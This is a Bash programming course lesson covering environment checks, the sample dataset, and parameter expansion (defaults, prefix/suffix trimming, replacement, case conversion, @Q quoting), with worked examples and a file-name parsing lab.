Bash Hour 2: Variables, Data and Control Flow

Lesson 1 covered “how a single command line is parsed and executed”; this lesson treats Bash as a real programming language: parameter expansion to process strings, $(( )) for integer arithmetic, arrays and associative arrays to store structured data, [[ ]] and case for tests, loops and read to process files safely, and finally a pure Bash access-log statistics tool
GNU Bash 5.3 (baseline)Compatible with 5.2 · Note macOS 3.2 differencesLocal only · No costVerified against the GNU Bash manual / NEWS / CHANGES · 2026-11-17
Overall learning goals
  • Use parameter expansion fluently: default values (${v:-x},${v:=x},${v:?msg},${v:+x}), prefix and suffix trimming (#,##,%,%%), replacement (/,//), substring and length, case conversion, and @Q other transformations; be able to explain the difference between “with colon” and “without colon” (whether an empty value counts as “unset”).
  • Use $(( )) and (( )) for integer arithmetic, avoiding three classic pitfalls: 08/09 is read as octal, Bash has only 64-bit signed integers (no floating point), and (( i++ )) returns a non-zero status when i is 0.
  • Master declaring, appending, deleting, slicing and iterating over indexed and associative arrays; be able to explain the difference between "${arr[@]}" and "${arr[*]}" ; know how an empty array behaves under set -u (since Bash 4.4 "${arr[@]}" no longer errors, while macOS’s built-in 3.2 still does).
  • Choose the right test tool: [[ ]] (pattern matching,=~ regex,BASH_REMATCH),test/[ ] (POSIX-portable),(( )) (numeric) and case (multi-branch pattern matching,;;,;&,;;&).
  • Write correct loops: for iterate over arrays instead of $(ls), C-style for (( )),while/until,break N/continue; know where to place redirections in a loop.
  • Read input safely: IFS= read -r line, handle “a last line without a trailing newline”, split fields by delimiter,mapfile -t and read into an array; explain why cmd | while read variables changed inside it are “lost” after the loop, and how to use < <(cmd) or shopt -s lastpipe to fix it.
  • Use here documents (<<EOF,<<'EOF',<<-EOF), here strings (<<<), and process substitution (<(…),>(…)), knowing whether at the kernel level they are pipes, temp files or /dev/fd/N.
  • Putting it all together, use pure Bash (associative arrays + regex) to write logstats.sh: count data/access.log ’s status-code distribution, 5xx ratio, top paths and top clients, and handle malformed lines.

Hour 2 time allocation table

#TimeModuleCore contentAnimations / interactionLab (~/bashlab)
0Before classBridge and warm-upCheck the Bash version, generate or verify ~/bashlab/data/ the sample dataset, and set up this lesson’s directory ~/bashlab/part2Environment checklistVersion check + dataset check
100–06Parameter expansionDefault-value operators, trimming, replacement, substring, length, case,@Q/@U transformations, indirect referencesCore animation (part 1): parameter expansion simulator — how patterns match “shortest / longest”Avoid calling basename/dirname/sed to handle file names and config defaults
206–13Arithmetic and integer pitfalls$(( )),(( )),let, base prefixes,10#, integer division and modulo, overflow, exit statusArithmetic evaluator: how a constant’s base is recognizedCompute percentages, handle date +%m ’s leading 08
313–21Arrays and associative arraysDeclaring, appending, sparse indexes, slicing, deleting,"${a[@]}" vs "${a[*]}",declare -A, key iteration, empty arrays and set -uArray slot visualization: memory and expansion results after each operationservers.csv → count by environment
421–28Conditionals[[ ]] vs [ ]/test, string / numeric / file tests,=~ and BASH_REMATCH,-v,case and three terminatorsParsing the same expression under [ and [[ comparedValidate hostname, IP and environment arguments
528–35Loopsfor in,for (( )),while,until,break N,continue, loops with redirection,selectLoop control step executor (break / continue / break 2)Retry-wait loop + iterate over oddly named files
635–42Reading input safelyIFS= read -r, last line without newline, field splitting,-d '',mapfile -t,subshells in pipelines,lastpipeCore animation (part 2): cmd | while read Why variables are lost (fork / pipe / subshell)Read servers.csv line by line and summarize
742–50Here documents, here strings and process substitutionThree here-doc forms,<<<,<(…)/>(…),/dev/fd, the 5.3 ${ cmd; }Redirection wiring diagram: where fd 0 pointsGenerate config files, diff the output of two commands
850–60Capstone exercise: log statistics toolUse =~ to parse combined logs, count with associative arrays, sort numerically, pure Bash Top-N, bad-line handling, performance limitsLive log-stream statistics animation + interactive troubleshooting treelogstats.sh
—After classCheat sheet · Capstone labWrite a pure Bash reporting script for servers.csv (group by environment / region, validate, output a here-doc report)Final quiz (12 questions)Capstone lab

Knowledge Coverage Matrix

Target skillsM1M2M3M4M5M6M7M8Key syntax / commandsLab
String processing (parameter expansion)✓·✓✓·✓·✓${v##*/},${v%.*},${v//a/b},${v:-x}M1 file name handling
Integer arithmetic·✓✓✓✓··✓$(( )),(( )),10#,printf '%d.%02d'M2 percentages
Indexed arrays··✓·✓✓·✓a+=(),"${a[@]}",${#a[@]},${!a[@]}M3, M6
Associative arrays··✓·✓··✓declare -A,(( m[$k]++ )),[[ -v m[$k] ]]M3 group counting, M8
Conditionals and pattern matching✓✓·✓✓✓·✓[[ == ]],=~,BASH_REMATCH,caseM4 argument validation
Loops and control·✓✓·✓✓·✓for,while,until,break 2M5 retry loop
Read input safely··✓·✓✓✓✓IFS= read -r,|| [[ -n $l ]],mapfile -t,-d ''M6 CSV
Subshells and variable scope····✓✓✓✓< <(cmd),shopt -s lastpipe,$BASHPIDM6 animation + lab
Here-doc / process substitution·····✓✓✓<<'EOF',<<<,diff <(a) <(b)M7

Topics not covered in this lesson (and where to learn them)

TopicWhy not in this lessonWhere to learn
Command parsing flow, quoting rules, the order of the seven expansions, redirection basics, exit statusCovered in Lesson 1; used directly in this lessonLesson 1
Functions,local, nameref in depth, script structure and argument parsing (getopts), opsctl v0.1Belongs to “organizing code”Lesson 3(this lesson’s M8 only uses the simplest functions)
Strict mode set -euo pipefail : full rules, trap, locks, logging and retriesRequires mastering this lesson’s control flow firstLesson 4
Text tools such as awk / sed / grep / find / xargs, and how they divide the work with BashThis lesson deliberately uses only Bash built-ins to understand the language itselfLesson 5 (will rewrite this lesson’s logstats as opsctl logs report, then compare performance with awk)
JSON / YAML (jq, yq), HTTP callsBelongs to external toolsLesson 6
bats testing, ShellCheck, shfmtEngineering practicesLesson 7 (this lesson mentions a few issues ShellCheck can find)
Bulk-configuring large numbers of serversBeyond Bash’s comfort zoneAnsible, 8 hours

How to use this courseware

10 pages per module
Theory · Diagrams · Animations · Commands · Labs · Production cases · Troubleshooting · Quizzes · Audio · Video. Start with “Theory” and “Animations”, then run each “Lab” step by step in a terminal. All labs are run in ~/bashlab/part2 , which does not modify system files.
Learning progress
A quiz score ≥ 70% or clicking “Mark this module complete” counts toward progress, saved in this browser’s local storage (if the browser blocks local storage, it is cleared on refresh).
Chinese audio
The “Audio” page reads the script aloud with the browser’s built-in Web Speech API (en-US), pronouncing English terms with en-US; without a Chinese voice pack, the script is still readable, or it can be passed to another TTS tool.
Version notes This lesson uses GNU Bash 5.3 as the baseline (5.3 was released in July 2025; as of the verification date, the latest official GNU patch is bash53-020, i.e. 5.3.20; the official Docker image bash:5.3 corresponds to 5.3.20). Ubuntu 26.04 LTS ships Bash 5.3. Almost all syntax in this lesson behaves identically in Bash 5.2 / 5.1 / 4.4 , with differences marked separately (for example, the 5.3 additions ${ cmd; } and GLOBSORT, and the 5.1 addition ${v@U}). The /bin/bash that ships with macOS is 3.2 (a 2007 release): no associative arrays (declare -A introduced in 4.0), no mapfile (4.0), no ${v,,}/${v^^} (4.0), no ;&/;;& (4.0), and an empty array under set -u errors (fixed only in 4.4); macOS users should install brew install bash and use #!/usr/bin/env bash.
Outputs labeled “Actual run result (Bash 5.2.37)” were produced by actually running on the machine where this courseware was written; all other outputs are labeled “Example”.

Module 0 · Bridge and warm-up (sample dataset)

Confirm the Bash version and the ~/bashlab working directory, generate (or verify) the Lesson 1 sample dataset, and set up this lesson’s lab directory
Before class ≈ 8 minLinux / WSL2 / macOS + Homebrew bash / containerCost: 0 (all local)
Prerequisites (reuse the Lesson 1 environment directly)
  • A Bash 5.x environment, choose one: the Linux lesson’s linuxlab virtual machine (Ubuntu 26.04, Bash 5.3), Ubuntu in WSL2, macOS + brew install bash, or a container docker run --rm -it -v "$PWD":/work -w /work bash:5.3 (the official image is based on Alpine and has only BusyBox tools; this lesson uses only Bash built-ins, so that is plenty).
  • Working directory ~/bashlab; the data-generation script provided by Lesson 1’s setup ~/bashlab/make-data.sh It will generate files in ~/bashlab/data/ : access.log,servers.csv,inventory.json,config.yaml and files/.
  • Lesson 1 knowledge: quoting, expansion order, redirection, exit status $?.
Cost · Permissions · Risks · Cleanup Everything runs as a regular user,no sudo, no cloud costs. All file-writing operations are limited to ~/bashlab/part2 ; any command with rm commands only target this directory. After class, if you want to clean up: rm -rf -- ~/bashlab/part2 (the dataset ~/bashlab/data ; later lessons still need it, so keep it).

Step 1: Check the Bash version

echo "$BASH_VERSION"
bash --version | head -n 1
type -a bash                   # there may be several: /usr/bin/bash, /opt/homebrew/bin/bash …
printf '%s\n' "${BASH_VERSINFO[@]:0:3}"
(( BASH_VERSINFO[0] > 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] >= 4) )) && echo "OK: ≥ 4.4" || echo "Version too old, please upgrade"
5.3.N(1)-release
GNU bash, version 5.3.N(1)-release (x86_64-pc-linux-gnu)
bash is /usr/bin/bash
bash is /bin/bash
5
3
N
OK: ≥ 4.4

The Ubuntu 26.04 package version is bash 5.3-2ubuntu1 (verified on Launchpad), and the number of upstream patches it includes is given by bash --version (distribution patch cadence differs from upstream 5.3.20). The machine used to verify the snippets in this courseware runs Bash 5.2.37. If you see on macOS 3.2.57(1)-release, it means you are using the old system-bundled version: first install brew install bash, then use /opt/homebrew/bin/bash (Apple Silicon) or /usr/local/bin/bash (Intel) to run this lesson’s scripts. BASH_VERSINFO is a read-only array; Module 3 covers array subscripts in detail.

Step 2: Check (or generate) the sample dataset

cd ~/bashlab
ls -l make-data.sh
# if there is no data/, run the Lesson 1 generator script (deterministic: byte-identical on any machine)
[[ -d data ]] || bash ./make-data.sh
head -n 3 data/servers.csv
wc -l data/access.log data/servers.csv
cksum data/access.log data/servers.csv     # compare with the checksums given in Lesson 1
name,env,region,ip,role
web-01,dev,canadacentral,10.10.1.21,web
api-01,dev,canadacentral,10.10.1.22,api
  611 data/access.log
   13 data/servers.csv
  624 total
80306651 79109 data/access.log
3087317886 526 data/servers.csv

The checksums match Lesson 1, so your dataset is byte-identical to all the “actual run results” in this lesson. If they differ, go back to Lesson 1 and check that make-data.sh was pasted completely (common causes: CRLF line endings, or an editor replacing the quotes).

Data format conventions used in this lesson (consistent across all 8 lessons):

  • access.log: the nginx / gunicorn combined format—IP ident user [time] "method path protocol" status code bytes "Referer" "User-Agent"; 611 lines, time 17/Nov/2026 10:00:01–10:31:00 UTC; methods GET 524 / POST 87; status codes 200×450, 201×54, 301×12, 302×19, 304×22, 400×11, 401×6, 404×9, 500×12, 502×4, 503×12 (5xx total 28, 4xx total 26); paths /api/orders 211, /healthz 121 (UA kube-probe/1.37), / 75, /login 74, /api/orders/1042 67, /static/app.js 63; lines 151–156 are 6 consecutive requests from 198.51.100.23 POST /login all 401; line 307’s User-Agent contains an apostrophe and \x22. Pitfall: line 52 is a 201 response with exactly 506 bytes, so grep ' 50[0-9] ' gives 29 instead of 28, so the quote characters must be anchored '" 50[0-9] ' (Module 7 lab).
  • servers.csv: header line name,env,region,ip,role plus 12 rows (dev 3, staging 3, prod 6); region Values canadacentral|ca-central-1; Line 11 edge-01,prod,ca-central-1,10.30.2.51,"web,api" has a quoted field containing a comma, specifically to demonstrate the limits of splitting CSV with IFS=,; hostnames repeat across environments (web-01 exists in all three).
  • files/: 15 “weird” file names (tabs, newlines,-n,--verbose.log,star*.txt, trailing spaces,.hidden.txt,sub dir/nested file.log etc.; used in Modules 5 and 6).
  • Lesson 1 also provides ~/bashlab/env.sh (source then export BASHLAB_HOME,BASHLAB_DATA) and ~/bashlab/dataset-check.sh (dataset verification).

Step 3: Take a look at the “weird names”

ls -1b ~/bashlab/data/files        # -b: show invisible characters with escapes
ls -A ~/bashlab/data/files | wc -l  # counting lines to “count files” gives the wrong answer
--verbose.log
-n
[draft]\ notes.md
café-ünïcode.txt
it's.txt
line1\nline2.txt
price\ $5.txt
report\ 2026.txt
say\ "hi".txt
star*.txt
sub\ dir
tab\there.txt
trailing-space.txt\
two\ \ spaces.txt
16

15 entries (including hidden .hidden.txt and sub dir entries),wc -l but counted 16 — because line1\nline2.txt has a newline in its name. This is exactly why handling file names line by line is unreliable (Modules 5 and 6).

If you can’t get Lesson 1’s make-data.sh for now: a 10-line sample with the same format (its statistics will differ from this lesson’s actual run results).

The commands below only run in ~/bashlab/data-mini/ and write the small sample there, without overwriting the official dataset; when using it, export DATA=~/bashlab/data-mini. It is itself an example of the here document covered in Module 7.

mkdir -p ~/bashlab/data-mini/files && cd ~/bashlab/data-mini
[[ -e access.log ]] || cat > access.log <<'EOF'
203.0.113.7 - - [17/Nov/2026:10:00:01 +0000] "GET /healthz HTTP/1.1" 200 2 "-" "curl/8.12.1"
198.51.100.23 - - [17/Nov/2026:10:00:02 +0000] "GET / HTTP/1.1" 200 612 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0 Safari/537.36"
198.51.100.23 - - [17/Nov/2026:10:00:03 +0000] "POST /login HTTP/1.1" 302 0 "https://shop.example.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_6) \"quoted\" agent"
192.0.2.44 - - [17/Nov/2026:10:00:05 +0000] "GET /api/orders HTTP/1.1" 200 1534 "-" "python-requests/2.32.5"
192.0.2.44 - - [17/Nov/2026:10:00:06 +0000] "GET /api/orders HTTP/1.1" 500 87 "-" "python-requests/2.32.5"
203.0.113.7 - - [17/Nov/2026:10:00:11 +0000] "GET /healthz HTTP/1.1" 200 2 "-" "curl/8.12.1"
198.51.100.99 - - [17/Nov/2026:10:00:12 +0000] "GET /admin HTTP/1.1" 404 153 "-" "sqlmap/1.9"
192.0.2.44 - - [17/Nov/2026:10:00:13 +0000] "POST /api/orders HTTP/1.1" 201 45 "-" "python-requests/2.32.5"
198.51.100.23 - - [17/Nov/2026:10:00:14 +0000] "GET /login HTTP/1.1" 200 2048 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
192.0.2.44 - - [17/Nov/2026:10:00:15 +0000] "GET /api/orders HTTP/1.1" 503 0 "-" "python-requests/2.32.5"
EOF
[[ -e servers.csv ]] || cat > servers.csv <<'EOF'
name,env,region,ip,role
web-01,prod,canadacentral,10.10.1.11,web
web-02,prod,ca-central-1,10.20.1.12,web
api-01,staging,canadacentral,10.10.2.21,api
db-01,prod,canadacentral,10.10.3.31,db
build-01,dev,ca-central-1,10.20.9.9,"build, test"
EOF
touch -- 'files/report 2026.txt' 'files/-rf.txt' $'files/line\nbreak.txt'

$'…' is the ANSI-C quoting covered in Lesson 1; touch -- in the -- means “end of options”. The Module 8 animation uses exactly these 10 lines.

Step 4: Set up this lesson’s lab directory

mkdir -p ~/bashlab/part2 && cd ~/bashlab/part2
export DATA=~/bashlab/data        # all labs in this lesson reference the dataset through $DATA
echo "DATA=$DATA"; ls "$DATA"
DATA=/home/labadmin/bashlab/data
access.log  config.yaml  files  inventory.json  servers.csv

If you have already set up source ~/bashlab/env.sh (Lesson 1), you can also write export DATA=$BASHLAB_DATA.

About the Rust coreutils in Ubuntu 26.04 Since Ubuntu 25.10, the default coreutils are the Rust implementation (uutils). The core content of this lesson is entirely Bash built-in features (parameter expansion,$(( )),[[ ]],read,mapfile,printf built-in commands), unaffected; a few external commands shown for comparison (sort,seq,cut) may differ from GNU in rare edge-case behaviour; if they differ, defer to --version the output and the corresponding project documentation.

Warm-up: answer from memory (30 seconds)

In Lesson 1, what is the difference between echo $file and echo "$file" ?

Without quotes, the result of parameter expansion still undergoes word splitting (by IFS) and pathname expansion (globbing), so values containing spaces or * are split or expanded into a list of files; double quotes keep the result as one word. Every expansion in this lesson is double-quoted by default, unless you explicitly need splitting.

A pipeline a | b | c — how many processes are involved, and how do they relate to the current shell?

Each command runs in its own subprocess (external commands fork and then exec; built-in and compound commands run in a forked subshell), and the current shell waits for them to finish. The core animation in Module 6 demonstrates that precisely because while loop runs in a subshell, so variables modified inside it are “lost”.

Environment checklist

Module 1 · Parameter expansion: defaults, trimming, replacement and length

00:00 – 06:00 · Most “call basename / dirname / sed / cut to process one variable” patterns can be done with Bash’s built-in parameter expansion — no forked process needed, and no surprises from strange file names
6 minBash 4.0+ (@U/@u/@L need 5.1+)Core animation (part 1)★★★★★
Learning objectives
  • Write and explain the four default-value operators: ${v:-x} (use default),${v:=x} (assign default),${v:?msg} (error and exit),${v:+x} (replace if set), and the difference when the colon is dropped: “only unset counts as missing; an empty string counts as set”.
  • Use #/## to remove prefixes,%/%% to remove suffixes (one symbol = shortest match, two symbols = longest match), and to split out directory, file name, extension and URL parts.
  • Use ${v/p/r},${v//p/r},${v/#p/r},${v/%p/r} for replacement; ${v:off:len} Extract substrings (negative offsets need a space or parentheses before them); ${#v} get the length.
  • Use case conversion ${v^},${v^^},${v,,} and transformation operators ${v@Q} (safe quoting, suitable for logs),${v@U} (5.1+),${v@a} (attributes); know indirect references ${!name} and ${!prefix*}.
Prerequisites: Lesson 1’s expansion order and quoting. Importance:★★★★★ (used in every later module and lesson)

What: what is parameter expansion

Parameter expansion is one of Bash’s seven expansions; its syntax starts with $ , wraps the name in braces, and lets you transform the value as it is read: ${nameoperator…}. It happens inside the current shell process, without creating a child process. According to the Bash manual, it runs in the same stage as tilde, arithmetic and command substitution, processed left to right; only afterwards come word splitting and pathname expansion, which is why expansion results should be double-quoted.

CategorySyntaxMeaningExample (f=/var/log/app.log.gz)
Default / check${v:-word}v is unset or empty, the result is word (v itself unchanged)${PORT:-8080}
${v:=word}Same as above, and also store word into v (not for positional or special parameters): "${LOG_LEVEL:=info}"
${v:?msg}When v is unset or empty, write msg to stderr; a non-interactive shell exits immediately (observed exit code 1): "${DATA:?please export DATA first}"
${v:+word}result is word when v has a non-empty value, otherwise emptycurl ${VERBOSE:+-v} …
Remove prefix / suffix${v#pat}Remove from the start the shortest part matching pat${f#*/} → var/log/app.log.gz
${v##pat}Remove from the start the longest match${f##*/} → app.log.gz (file name)
${v%pat}Remove from the end the shortest match${f%/*} → /var/log (directory)
${v%%pat}Remove from the end the longest match${f%%.*} → /var/log/app
Replace${v/pat/rep}Replace the first (longest) match${f/log/LOG} → /var/LOG/app.log.gz
${v//pat/rep}Replace all matches${f//log/LOG} → /var/LOG/app.LOG.gz
${v/#pat/rep}Match at the start only${f/#\/var/\/srv} → /srv/log/app.log.gz
${v/%pat/rep}Match at the end only${f/%.gz/.zst}
Substring and length${v:off:len}Take len characters starting at off (counting from 0); when off is negative, count from the end,a space or parentheses is required before the minus sign${f: -6} → log.gz
${#v}Character count (counted in characters in multibyte locales)${#f} → 19
Case (4.0+)${v^} / ${v^^}Initial / all uppercaseprod → Prod / PROD
${v,} / ${v,,}Initial / all lowercaseOften used for case-insensitive comparison
Transform @op${v@Q} (4.4+)Output in a quoted form that can safely be fed back to the shell as inputit's → 'it'\''s'
${v@U} @u @L (5.1+),@a,@E,@P,@A,@Kuppercase, initial capital, lowercase; attribute flags; backslash-escape expansion; prompt expansion; assignment statements; key-value pairsdeclare -i n; ${n@a} → i
Indirect${!name},${!prefix*}use the value of name as the variable name and read it; list variable names starting with prefix${!APP_*} → APP_ENV APP_REGION

Why: why not use basename / sed

  • Performance: $(basename "$f") Each call forks a subshell and then execs an external program; processing ten thousand file names in a loop means ten thousand forks and execs. Parameter expansion runs inside the current process and is two to three orders of magnitude faster (Lesson 5 measures this).
  • Correctness: command substitution strips all trailing newlines, so for a file name ending in a newline, $(basename …) gives the wrong result; parameter expansion does not.
  • Portability: #,##,%,%%,:-,:=,:?,:+,${#v} are all POSIX sh part of the standard, also available in dash and BusyBox ash; replacement /, substring :off:len, case conversion and @op are Bash (and ksh/zsh) extensions.

How: matching rules

#,%,/ The pattern after pat is a glob pattern, not a regular expression: * matches any string,? matches a single character,[…] matches a character set (for example [![:space:]]); enable shopt -s extglob , then you can also use +(…),@(a|b) and so on. The pattern itself is also expanded first: ${g//$f/X} In $f , if it contains * , it is treated as a wildcard; write it as ${g//"$f"/X} to match it literally.

The only difference between “with colon” and “without colon” is: with the colon, an empty string also counts as missing.

State of v${v-d}${v:-d}${v+a}${v:+a}
Unsetdd(empty)(empty)
Set to empty v=(empty)da(empty)
Non-empty v=xxxaa

${v+set} is the classic way to check whether a variable is set under set -u (since Bash 4.2 [[ -v v ]] also works, see Module 4).

When: when to use

  • Defaults for script arguments and environment variables, and required-value checks: : "${DATA:?}",port=${1:-8080}.
  • For splitting file names, paths, URLs and version numbers: faster and safer than cut,awk .
  • Safely printing user input in logs: log "received argument ${arg@Q}", where spaces, newlines and quotes are obvious.
  • Not suitable for: complex multi-field text parsing (use read or [[ =~ ]], see Modules 4 and 6), and line-by-line replacement in large files (use sed/awk, Lesson 5).

Comparison with similar techniques

NeedParameter expansionExternal commandDifference
File name${f##*/}basename "$f"When it ends in / , ${f##*/} gives an empty result, while basename first strips the trailing slash
Directory${f%/*}dirname "$f"When it does not contain / , ${f%/*} the value is returned unchanged; dirname returns . (observed).
Replacement${s//,/ }sed 's/,/ /g' <<<"$s"Parameter expansion uses glob, sed uses regex; for a single variable, parameter expansion is faster
Uppercase${s^^}tr a-z A-Z^^ Follows the current locale
Default values${v:-d}if [ -z "$v" ]; then v=d; fiFunctionally equivalent, with more concise expansion
Common misconceptions① “${v#pat} — the pat in it is a regex”—it is a glob,. just plain characters,* only the wildcard means “any string”. ② “${v:-x} assigns to v”—no, only := does. ③ “${s:-3} takes the last 3 characters”—this is “default value” syntax! Write ${s: -3} or ${s:(-3)}④ “In a replacement, the & is a plain character”—since Bash 5.2, patsub_replacement is enabled by default, so in the replacement string an unquoted & stands for the matched text (${s/web/[&]} → [web]-01, verified). To get a literal, write \& or quote the replacement. ⑤ “Parameter expansion results do not need quotes”—they are still subject to word splitting and globbing, unless on the right side of an assignment or [[ ]] inside.

Same path, four kinds of trimming

f = /var/log/nginx/access.log.gz / v a r / l o g / n g i n x / a c c e s s . l o g . g z Remove${f#*/} → var/log/nginx/access.log.gz (shortest prefix "*/" = "/") Remove longest prefix "*/": /var/log/nginx/${f##*/} → access.log.gz ${f%/*} → /var/log/nginxRemove shortest suffix "/*": /access.log.gz ${f%.*} → /var/log/nginx/access.logRemove ".gz" ${f%%.*} → /var/log/nginx/accessRemove longest suffix ".*": .log.gz
Figure 1-1 memory aid: on the keyboard, # sits on the $ left (remove left = prefix),% sits on the $ right (remove right = suffix); writing the symbol twice = greedy (longest)

Decision flow for the four default-value operators

Expansion ${v:OP word} Is v set and non-empty?(without colon: only check whether it is set) Yes (has a value) :- := :? → result is $v:+ → result is word No (unset / empty) :- → result is word (v unchanged):= → v=word, result is word :? → prints "v: word" to stderr, non-interactive shell exits:+ → result is empty
Figure 1-2: word itself is expanded only when needed (lazily), so ${v:-$(expensive)} does not run command substitution when v has a value

Where expansion sits in the command-processing pipeline

Brace expansion{a,b} same stage, left to rightTilde · Parameter expansion · arithmetic · command substitution(process substitution happens at the same time) Word splittingIFS (unquoted only) Pathname expansion* ? [ ] (unquoted only) Quote removal
Figure 1-3: word splitting and globbing come after parameter expansion; adding double quotes skips the last two steps (see the core animation in Lesson 1)

Core animation (part 1): parameter expansion simulator — how patterns match

Enter a variable value, choose an operator and a pattern, then click “Step through”. The simulator follows Bash’s real rules: # It tries prefixes of length 0, 1, 2… from the left; the first one matching the glob pattern is the “shortest”; ## starts from the whole string and shortens it; the first match is the “longest”; %/%% does the same for suffixes; / finds the longest match at each starting point. The log below gives the equivalent Bash commands and results (results are computed by JS using the same rules; you can copy the commands into a terminal to compare).

Preset:
Choose an operator, then click “Step through”.
Key points to observe For access.log.gz try % and %% with the pattern .*: the shortest suffix removes only .gz, the longest suffix removes .log.gz. Then switch the state to “set to empty” and compare :- with -: only the colon version treats the empty string as missing.

Parameter expansion quick reference (actual run results)

path=/var/log/nginx/access.log.2026-11-17.gz
echo "Directory:     ${path%/*}"
echo "File name:   ${path##*/}"
name=${path##*/}                     # no quotes needed on the right side of an assignment (no splitting or globbing)
echo "Strip .gz: ${name%.gz}"
echo "Base name:     ${name%%.*}"
echo "All extensions: ${name#*.}"
echo "Last extension: ${name##*.}"
echo "Date part:   ${name:11:10}"
echo "Length:     ${#name}"
Directory:     /var/log/nginx
File name:   access.log.2026-11-17.gz
Strip .gz: access.log.2026-11-17
Base name:     access
All extensions: log.2026-11-17.gz
Last extension: gz
Date part:   2026-11-17
Length:     24

Split a URL (no external commands)

url="https://api.example.com:8443/v1/orders?id=42"
proto=${url%%://*}          # remove longest suffix "://*"
rest=${url#*://}            # remove shortest prefix "*://"
hostport=${rest%%/*}
host=${hostport%:*}
port=${hostport##*:}
pathq=/${rest#*/}
echo "$proto | $host | $port | $pathq | ${pathq%%\?*}"   # \? makes ? a literal character
https | api.example.com | 8443 | /v1/orders?id=42 | /v1/orders

Default values, conditional parameters, trimming whitespace, replacement, case, quoting

unset ENV_NAME; echo "1: ${ENV_NAME:-dev}"
ENV_NAME="";    echo "2: [${ENV_NAME-dev}] [${ENV_NAME:-dev}]"
unset LOG_LEVEL; : "${LOG_LEVEL:=info}"; echo "3: $LOG_LEVEL"     # ":" is the null command, used only to trigger the expansion
DEBUG=1;  echo "4: [${DEBUG:+--verbose}]"
unset DEBUG; echo "5: [${DEBUG:+--verbose}]"
msg="  hello  world  "
t=${msg#"${msg%%[![:space:]]*}"}; t=${t%"${t##*[![:space:]]}"}; echo "6: [$t]"   # pure Bash trim
s="web-01,prod,canadacentral"
echo "7: ${s//,/ | }"
echo "8: ${s/#web/WEB} ${s/%central/CENTRAL}"
v="prod"; echo "9: ${v^} ${v^^} ${v@U} ${v@u}"
x="it's"; echo "10: ${x@Q}"
arr=(a "b c"); echo "11: ${arr[@]@Q}"
declare -i n=5; echo "12: ${n@a}"
echo "13: ${s:(-12)} ${s: -12:6}"
1: dev
2: [] [dev]
3: info
4: [--verbose]
5: []
6: [hello  world]
7: web-01 | prod | canadacentral
8: WEB-01,prod,canadacentral web-01,prod,canadaCENTRAL
9: Prod PROD PROD Prod
10: 'it'\''s'
11: 'a' 'b c'
12: i
13: anadacentral anadac

Line 6 explained:${msg%%[![:space:]]*} Remove the “longest suffix starting from the first non-whitespace character”; what remains is the leading whitespace; then use # to remove it from the start. The inner expansion is quoted, so the leading whitespace is matched literally rather than as a pattern. How to verify: At suspicious spots, use declare -p variable or printf '[%s]\n' "$v" print it and see the leading and trailing whitespace. Common mistake:${s:-12} writing default-value syntax. Production use: Declare config defaults centrally at the top of the script: : "${RETRIES:=3}" "${TIMEOUT:=10}".

Required checks and indirect references

printf 'unset need\n: "${need:?need is required}"\necho after\n' > need.sh
bash need.sh; echo "rc=$?"
APP_ENV=prod APP_REGION=canadacentral
echo "${!APP_*}"            # variable names starting with APP_
ref=APP_ENV; echo "${!ref}" # indirect lookup (the Lesson 3 nameref is the better approach)
need.sh: line 2: need: need is required
rc=1
APP_ENV APP_REGION
prod
SyntaxEffectNote
: "${V:?msg}"Required check; the script exits on failureIn an interactive shell it only reports the error and does not exit; if msg is omitted, Bash prints “parameter null or not set”
${V:-$(cmd)}Runs cmd only if V is emptyword is expanded lazily
${V//"$x"/y}Replace the value of x literallyWhen unquoted, the * ? [ in x is treated as a pattern
printf -v out '%s' "${V@Q}"Store the safely quoted result in a variableGood for building commands that will be eval or parsed again by a remote ssh shell

Lab 1: handle file names and config with parameter expansion only (about 6 min)

Goal and environment: in ~/bashlab/part2 , without calling basename / dirname / sed / cut, parse log file names and do a “rename dry run”.
cd ~/bashlab/part2 && mkdir -p m1/logs && cd m1
for d in 15 16 17; do : > "logs/access.log.2026-11-$d.gz"; done
: > "logs/error log.2026-11-17.gz"      # file name containing spaces
ls logs
access.log.2026-11-15.gz  access.log.2026-11-16.gz  access.log.2026-11-17.gz  'error log.2026-11-17.gz'

GNU ls shows names containing spaces in quotes in the terminal; the names themselves have no quotes.

Parse each file: take the type (before the first dot) and the date (second-to-last segment).
for f in logs/*.gz; do
  base=${f##*/}              # access.log.2026-11-17.gz
  kind=${base%%.*}           # access
  stem=${base%.gz}           # access.log.2026-11-17
  date=${stem##*.}           # 2026-11-17
  printf '%-10s %s  (%s)\n' "${kind@Q}" "$date" "$base"
done
'access'   2026-11-15  (access.log.2026-11-15.gz)
'access'   2026-11-16  (access.log.2026-11-16.gz)
'access'   2026-11-17  (access.log.2026-11-17.gz)
'error log' 2026-11-17  (error log.2026-11-17.gz)
Rename dry run: change access.log.DATE.gz to DATE/access.log.gz layout; print the commands only at first.
for f in logs/*.gz; do
  base=${f##*/}; stem=${base%.gz}; date=${stem##*.}; newbase=${stem%.*}.gz
  printf 'mkdir -p %q && mv -- %q %q\n' "logs/$date" "$f" "logs/$date/${newbase// /_}"
done
mkdir -p logs/2026-11-15 && mv -- logs/access.log.2026-11-15.gz logs/2026-11-15/access.log.gz
mkdir -p logs/2026-11-16 && mv -- logs/access.log.2026-11-16.gz logs/2026-11-16/access.log.gz
mkdir -p logs/2026-11-17 && mv -- logs/access.log.2026-11-17.gz logs/2026-11-17/access.log.gz
mkdir -p logs/2026-11-17 && mv -- logs/error\ log.2026-11-17.gz logs/2026-11-17/error_log.gz

printf %q and ${v@Q} do the same: output a form that the shell can safely parse again. After checking, pass the output to bash to run (… | bash), or remove printf and use the real command. ${newbase// /_} Also replace spaces with underscores.

Config defaults: a small script that reads environment variables.
cat > conf.sh <<'EOF'
#!/usr/bin/env bash
: "${DATA:?please export DATA=~/bashlab/data first}"
: "${ENV_NAME:=dev}" "${RETRIES:=3}"
region=${1:-canadacentral}
echo "env=$ENV_NAME region=$region retries=$RETRIES data=${DATA/#$HOME/\~}${VERBOSE:+ (verbose)}"
EOF
chmod +x conf.sh
./conf.sh
ENV_NAME=prod VERBOSE=1 ./conf.sh ca-central-1
env -u DATA ./conf.sh; echo "rc=$?"
env=dev region=canadacentral retries=3 data=~/bashlab/data
env=prod region=ca-central-1 retries=3 data=~/bashlab/data (verbose)
./conf.sh: line 2: DATA: please export DATA=~/bashlab/data first
rc=1

